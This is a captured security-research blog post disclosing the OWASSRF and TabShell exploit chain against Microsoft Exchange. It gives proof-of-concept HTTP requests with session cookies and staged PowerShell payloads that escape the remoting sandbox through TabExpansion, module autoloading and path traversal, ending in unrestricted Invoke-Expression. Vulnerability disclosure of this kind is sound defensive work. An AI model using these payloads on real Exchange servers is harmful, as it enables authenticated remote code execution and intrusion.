blog.viettelcybersecurity.com
Open in
urlscan Pro
2402:800:20ff:4013::27
Public Scan
URL:
https://blog.viettelcybersecurity.com/tabshell-owassrf/
Submission: On January 11 via api from IN — Scanned from DE
Submission: On January 11 via api from IN — Scanned from DE
Form analysis
0 forms found in the DOMText Content
* Home * About Us * News * Threats * Researches Subscribe Researches THE OWASSRF + TABSHELL EXPLOIT CHAIN * RSKVP93 Dec 26, 2022 • 9 min read We see that one of our vulnerabilities is exploited in the wild Link. So we decided to public the detail analysis of our two bug chain. Any customer has enough information to mitigate these bugs. The vendor also released all patches two weeks ago. This blog post shares the detail of two vulnerabilities our team reported to MSRC: * OWASSRF: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41080 * TabShell: https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-41076 PART 1: OWASSRF Actually, I knew the two SSRF bugs (Autodiscover and Owa) from more than one year ago when I joined Pwn2own event last year. But the Autodiscover SSRF was not fixed at that time so I didn't report the OWA SSRF (util ProxyNotShell has exploited in the wild recently). I think Microsoft didn't fix the root cause of SSRF bug just because only SSRF alone cannot make the real impact. The POC of OWASSRF is simple as the below request: GET /owa/test%40gmail.com/xxxxxxxx HTTP/1.1 Host: 192.168.137.211 User-Agent: python-requests/2.27.1 Accept-Encoding: gzip, deflate Accept: */* Connection: close X-OWA-ExplicitLogonUser: owa/test@gmail.com Cookie: <CHANGE HERE> When we send request to /owa endpoint on the frontend. The OwaProxyRequestHandler.GetTargetBackEndServerUrl is called to calculate the url of the request to be sent to the backend. It then call OwaEcpProxyRequestHandler.GetClientUrlForProxy, the code of that function is as below: protected override UriBuilder GetClientUrlForProxy() { UriBuilder uriBuilder = new UriBuilder(base.ClientRequest.Url.OriginalString); if (this.IsExplicitSignOn && !UrlUtilities.IsOwaDownloadRequest(base.ClientRequest.Url)) { uriBuilder.Path = UrlHelper.RemoveExplicitLogonFromUrlAbsolutePath(HttpUtility.UrlDecode(base.ClientRequest.Url.AbsolutePath), HttpUtility.UrlDecode(this.ExplicitSignOnAddress)); } return uriBuilder; } public static string RemoveExplicitLogonFromUrlAbsolutePath(string absolutePath, string explicitLogonAddress) { ArgumentValidator.ThrowIfNull("absolutePath", absolutePath); ArgumentValidator.ThrowIfNull("explicitLogonAddress", explicitLogonAddress); return absolutePath.Replace("/" + explicitLogonAddress, string.Empty); } As can be seen, it calls UrlHelper.RemoveExplicitLogonFromUrlAbsolutePath to remove this.ExplicitSignOnAddress from the request path. The vulnerability is that we can set this.ExplicitSignOnAddress by sending it in the header X-OWA-ExplicitLogonUser. So by setting it to a email that start with owa/ (for example: owa/test@gmail.com) and request the url: /owa/test%40gmail.com/mapi/nspi, OwaEcpProxyRequestHandler. GetClientUrlForProxy will help us remove owa/test%40gmail.com in url and the request is sent to /mapi/nspi on the backend server which give us an authenticated SSRF vulnerability. An example request that exploit that vuln to send request to /mapi/nspi is as following: GET /owa/test%40gmail.com/mapi/nspi HTTP/1.1 Host: 192.168.137.211 User-Agent: python-requests/2.27.1 Accept-Encoding: gzip, deflate Accept: */* Connection: close X-OWA-ExplicitLogonUser: owa/test@gmail.com Cookie: X-BackEndCookie=S-1-5-21-2656093215-258796493-3715049920-2601=u56Lnp2ejJqByMvJx56ZzMfSysnNm9LLz56c0seZzc/Sy83NyMfLnJ6dzM7MgYHNz83N0s7O0s7Nq87Oxc7PxczO; ClientId=C4179E2222DB4C648C0530180ADCE3A0; UC=cc8eb85baefa4004adb4cd6d50c355bc; X-OWA-CANARY=18H5f0RJdkCnKMAISZanZsBJI4sLrdoI1D0hGp4YBYyT0SL9SYLOebRwnbI1mp6PFStIHY5u6cE.; cadata=v6LoKl833IfszAjlUg3mgrWwYrQQ/vlWtLwGA5OyLe5LEtpdQvRz9f21cv1W61dKDMpdaB5y5NShqEIkyz64ncsYlo+Mt48GPt6nr0lR3Cs=; cadataIV=B5rzxVbcOv5fmn2QArN/0f39crVSwpfgJ6VFy8ozXvjc190bG2gRaOsxamCiz1zResFRhaCud0ompb17UQI8O9INGSgwdFVdO3gbrKN3wZt0/XoLw1ef6N0ji5M9/iSxenrmdHyE/L1i+I04hyXXkq6lrP3OIzzy4WgGFMDEza4+cpQSjkvArLwnJ7tF9EuNrIR96sg5I60nbGjruS7bxkHz6bezHLhiPotgn8MKA0eBfNeBryCmxJLt+xcdFF6YnHnTA1meovv9vDeEDhImwolOGZQ7kqYrxQzSoJr1A+6gFpExChdQpAmxQivlBuKEBDKT+utHdXT907pxpBZMuw==; cadataKey=fLQs1PepeFD7WADMiie4T8594qyKT76zPED/yrfLDafZqCtwSR86OCP0M3d7oywrQLOegrQqVkufd4BmBOf1iAwBOib2FuB2mukPwIKFtUb6bqYbRYTbN2c+bfLsYt2EdQCulz17y8mjRBzrSju4FvuNVAjMNNiRYnn1dEGTYkl2enZfjf3kp2M6EIqux33qPs93LZmsYnNx9Tu4uh6KXh35hp39e81Zu46fMD6ZwLQ/BDAtZkZTQ5DlZ42sur75CMN1ReMAMpzNFDoxaCKPD7XXKxF7CzqwWI0V8GE3pN9YKJRPXmWgP0Jp3K1z0KwhBJEcrLbftAlTgGJb4/9jXQ==; cadataSig=FyQoA9mAw0xeEdo8JlWBHnNLVo+nB4OY1YFrGQc+wy8=; cadataTTL=YqBmg7U9pNe8h8FjnG55YA== To be more specific about the SSRF, the request that is sent to the backend is authenticated with the account that we used to authenticate to the frontend, which in my case is victim. It can be confirmed by observed the User field in the response of server: <html> <head> <title>Exchange MAPI/HTTP Connectivity Endpoint</title> </head> <body> <p>Exchange MAPI/HTTP Connectivity Endpoint<br><br>Version: 15.2.1118.15<br> Vdir Path: /mapi/nspi/<br><br></p><p><b>User:</b> MYCORP\victim<br> <b>UPN:</b> <br><b>SID:</b> S-1-5-21-2656093215-258796493-3715049920-2601<br><b>Organization:</b> <br> <b>Authentication:</b> Basic<br> <b>PUID:</b> <br> <b>TenantGuid::</b> </p><br> <p><b>Cafe:</b> win-9i2q3pvpkvp.mycorp.lab<br> <b>Mailbox:</b> win-9i2q3pvpkvp.mycorp.lab</p><p><br><br><br> <b>Created:</b> 10/13/2022 12:42:55 PM</p> </body></html> And by leveraging this vulnerability, we can reach other endpoint of backend such as /powershell which give us the ability to interactive with the Exchange Remote Powershell, which normally cant be accessed from remote host. PART 2: TABSHELL The Exchange Server and Exchange Online have the powershell remoting feature that allows a normal user to make a remoting session with sandbox (a normal user can only run some exchange cmdlets). This TabShell bug will show a clever way to escape the sandbox to run arbitrary cmdlet. The Skype for Business Server has also the powershell remoting feature, but the attacker is at least in the HelpDesk group users. This bug actually includes a few stages (The following detail analysis is applied for the on-premises version of Exchange Server). STAGE1. CREATE A RESTRICTED POWERSHELL SESSION FOR A NORMAL EXCHANGE USER This is powershell snippet to create a session $secureString = ConvertTo-SecureString -String "xxxxxxxx" -AsPlainText -Force $UserCredential = New-Object System.Management.Automation.PSCredential -ArgumentList "mycorp\victim", $secureString $sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck $Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://x.x.x.x/powershell/ -Credential $UserCredential -Authentication Basic -AllowRedirection -SessionOption $sessionOption Run a command in session: Invoke-Command -Session $Session -ScriptBlock {get-mailbox} This session is quite restricted: * We can not run arbitrary command like Invoke-Expression, only few whitelist Exchange cmdlets + some core cmdlets like Get-Command, Get-Help. * We can not run a full powershell script because of the LanguageMode=NoLanguage, only a simple cmdlet with its parameter. * We can get list avaible public cmdlets by run Get-Command This restricted powershell session is created by Runspace feature - Reference STAGE2. ENABLE TABEXPANSION IN RUNSPACE At first, I did audit all core cmdlets to find a vulnerablity. I almost succeeded with Get-Help command after a week researching but it's finally failed. Next, I try to expand the attack surface and then I found a secret feature: TabExpansion. When creating a powershell session, we can pass ApplicationArguments If we pass WSManStackVersion < 3.0, we can enable public TabExpansion function in the initialSessionState, so we can call it in the restricted powershell session Class: System.Management.Automation.Remoting.ServerRemoteSession Method: HandleCreateRunspacePool This is the powershell snippet to create a session with public TabExpansion $secureString = ConvertTo-SecureString -String "xxxxxx" -AsPlainText -Force $UserCredential = New-Object System.Management.Automation.PSCredential -ArgumentList "mycorp\victim", $secureString $version = New-Object -TypeName System.Version -ArgumentList "2.0" $mytable = $PSversionTable $mytable["WSManStackVersion"] = $version $sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck -ApplicationArguments @{PSversionTable=$mytable} $Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://x.x.x.x/powershell/ -Credential $UserCredential -Authentication Basic -AllowRedirection -SessionOption $sessionOption Run a command in session: Invoke-Command -Session $Session -ScriptBlock {TabExpansion -line "test" -lastWord "test"} Here is the beautiful code of TabExpansion: Source So, at this stage, we have public TabExpansion function. I started to audit this function to find a command injection bug. I saw a few Invoke-Expression calls but I cannot turn it into a real vulnerablity. STAGE3. USING TABEXPANSION FUNCTION TO INVOKE GET-COMMAND CMDLET WITH ARBITRARY -NAME PARAMETER I cannot exploit directly TabExpansion function. But I can make TabExpansion function to call Get-Command with arbitrary -Name parameter. But why do we just call Get-Command directly? It's a public cmdlet. The nice thing is the internal call is more powerful than the direct call. Here is the poc snippet: TabExpansion -line ";NetTCPIP\Test-NetConnection" -lastWord "-test" This function will parse the line parameter and call Get-Command NetTCPIP\Test-NetConnection STAGE4. USING GET-COMMAND TO LOAD ARBITRARY MODULE WITH IMPORT-MODULE The Get-Command cmdlet has auto-load module feature from Powershell 3.0 The full implementation of this feature is complex, I only show you the related code: The source code is in System.Management.Automation.CommandDiscovery class and LookupCommandInfo method the TryNormalSearch method is used first but if the commandInfo is not found (null), the TryModuleAutoLoading method will be called. In the TryModuleAutoLoading method, modulename (text2 variable) will be parsed from commandName And then the module will be loaded with AutoloadSpecifiedModule method The interesting thing here is the visibility of Import-Module cmdlet is private but it is called internally in Get-Command cmdlet so the CommandOrigin is internal and it is not restricted in the sandbox. So for load NetTCPIP module, I will run the following function Invoke-Command -Session $Session -ScriptBlock { TabExpansion -line ";NetTCPIP\Test-NetConnection" -lastWord "-test" } This will lead to invoke cmdlet: Import-Module -Name NetTCPIP STAGE5. USING PATH TRAVERSAL TO LOAD MODULE FROM A DLL AND IMPORT PUBLIC CMDLET INTO CURRENT SESSION In stage4, we can load arbitrary module by modulename in PSModulePath (C:\Program Files\WindowsPowerShell\Modules, C:\Windows\system32\WindowsPowerShell\v1.0\Modules) But after digging into Import-Module cmdlet, I found that I can use path traversal to load module from a arbitrary dll in file system The payload is Invoke-Command -Session $Session -ScriptBlock { TabExpansion -line ";../../../../Windows/Microsoft.NET/assembly/GAC_MSIL/Microsoft.PowerShell.Commands.Utility/v4.0_3.0.0.0__31bf3856ad364e35/Microsoft.PowerShell.Commands.Utility.dll\Invoke-Expression" -lastWord "-test" } The call stack is The Import-Module cmdlet is quite complex, it supports many kinds of module loading (module manisfest file .psd1 , powershell script file .ps1, managed dll with cmdlet .dll) By using a module name with .dll ending, I can make Import-Module cmdlet go to LoadBinaryModule method. It will load the dll and import all cmdlets in that module into the current session. The magic problem is all cmdlets will be imported with public visibility. So they can be invoked after that. In the above payload, I do load module Microsoft.PowerShell.Commands.Utility.dll that contains Invoke-Expression cmdlet. This is the command to call imported Invoke-Expression cmdlet Invoke-Command $session {Microsoft.PowerShell.Commands.Utility\Invoke-Expression "[System.Security.Principal.WindowsIdentity]::GetCurrent().Name" } And from now, we can use Invoke-Expression to run any powershell script without any restricted. DEMO We can run the exploit with Exchange on-premises, Exchange online and Skype for Business Server. * The Exchange on-premises needs to use OWASSRF bug to access the powershell remoting endpoint. * The Exchange online has public powershell remoting endpoint. * The Skype for Business Server has public powershell remoting endpoint but need at least HelpDesk group privilege by default. And we don't have subscription for Skype For Business Online, it's end of life now. Microsoft Teams seems to have the same backend services as Skype for Business but the powershell remoting endpoint is deprecated and may be removed. Here is the video demo for Exchange on-premises with normal user: THE FIX The TabExpansion is removed with the following commit Link That kills the first stage of the chains. But other issues seem to be still there and can be abuse in another way. I'm not sure about that. With .Net Framework, the fix is a little different: That kind of fix can make an attacker put a backdoor in server with a registry key to enable TabShell exploit. CREDITS * rskvp93 (@rskvp93) from VcsLab of Viettel Cyber Security * Q5Ca (@_q5ca) from VcsLab of Viettel Cyber Security * nxhoang99 (@nxhoang99) from VcsLab of Viettel Cyber Security SIGN UP FOR MORE LIKE THIS. Enter your email Subscribe TP-LINK TL-WR940N: 1-DAYS ANALYSIS AFTER STORY. (CVE-2022-43636 & CVE-2022-43635) After finished my 1-days analysis, I’ve looked into other function of the web service binary and found a funny bug in the authenticate process. I/ Login Process Before we talk about the bug, let’s have a look at the communication between client and device. Login sequenceAs you can * Công Thành Nguyễn Dec 26, 2022 • 3 min read BÁO CÁO THỊ TRƯỜNG AN TOÀN THÔNG TIN VIỆT NAM NĂM 2022 * Công ty An ninh mạng Viettel Dec 23, 2022 • 2 min read THE FIRST STEP TO PWN2OWN - A SAD ONE INTRODUCTION When I was taking a look at the UPnP binary of NETGEAR RAX30 for PWN2OWN Toronto 2022, I found a command injection vulnerability on the LAN side. This is the first vulnerability that I have ever found, but it is a die young one. The patch came right before * Vương Quốc Huy Dec 9, 2022 • 2 min read Blog of Viettel Cyber Security © 2023 Powered by Ghost